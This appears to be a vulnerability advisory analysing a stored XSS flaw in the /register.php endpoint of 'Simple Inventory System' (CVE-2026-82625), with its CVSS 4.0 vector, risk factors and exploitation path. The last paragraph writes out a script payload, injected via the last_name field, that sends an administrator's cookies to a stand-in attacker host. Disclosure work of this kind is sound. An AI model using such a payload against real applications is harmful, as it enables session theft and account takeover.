Simple Inventory System CVE-2026-82625

The /register.php registration endpoint must be network-accessible to the attacker - no authentication is required to submit the registration form (confirmed by PR:N in the CVSS 4.0 vector). Successful payload delivery requires a victim user (most likely an administrator) to load the page displaying stored registration records (UI:P in the CVSS 4.0 vector). Exploitation is therefore a two-stage process: injection at registration time followed by deferred execution when a privileged user views the data. Limiting factors include: the application must be deployed and externally reachable; an administrator must actively review the user list after injection; and deployment of a WAF with XSS rulesets or a restrictive CSP header would block or significantly degrade the attack.

The CVSS 4.0 score of 2.1 accurately reflects low aggregate risk. The vector AV:N/AC:L/AT:N/PR:N/UI:P indicates the attack is network-reachable with no complexity or privilege requirements, but mandates passive user interaction - a victim must view the page containing the injected payload. Impact is bounded to low integrity (VI:L) with no confidentiality or availability effect on the vulnerable system per the CVSS 4.0 metrics. No EPSS score was provided, so exploitation probability cannot be quantitatively assessed; however, the product's niche hobbyist/educational footprint substantially limits realistic exposure. The publicly available PoC on GitHub modestly increases opportunistic risk, though the absence of a KEV listing confirms no known active exploitation at time of analysis. No conflicts exist between the CVSS vector and description - both consistently indicate stored XSS requiring a victim to trigger the payload.

An unauthenticated attacker navigates to the publicly accessible /register.php page and submits a registration form with a JavaScript payload such as <script>fetch('https://attacker.example/c?'+document.cookie)</script> in the last_name field. The payload is stored in the database and rendered without encoding when an administrator reviews the registered user list, executing the script in the admin's browser and exfiltrating session cookies. A public proof-of-concept on GitHub documents this exact technique against the last_name parameter.